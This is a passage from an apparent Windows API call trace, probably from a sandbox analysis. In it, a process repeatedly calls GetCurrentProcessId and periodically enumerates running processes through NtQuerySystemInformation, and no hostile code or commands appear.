[0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.194] GetCurrentProcessId () returned 0x10c0 [0232.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.793] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.794] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.795] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.796] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0232.797] GetCurrentProcessId () returned 0x10c0 [0233.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.384] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.385] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.386] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.387] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.388] GetCurrentProcessId () returned 0x10c0 [0233.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.992] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.993] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.994] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0233.995] GetCurrentProcessId () returned 0x10c0 [0234.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12441970, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12441970, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.584] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.585] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.586] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.587] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.588] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0234.589] GetCurrentProcessId () returned 0x10c0 [0235.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.203] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.204] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 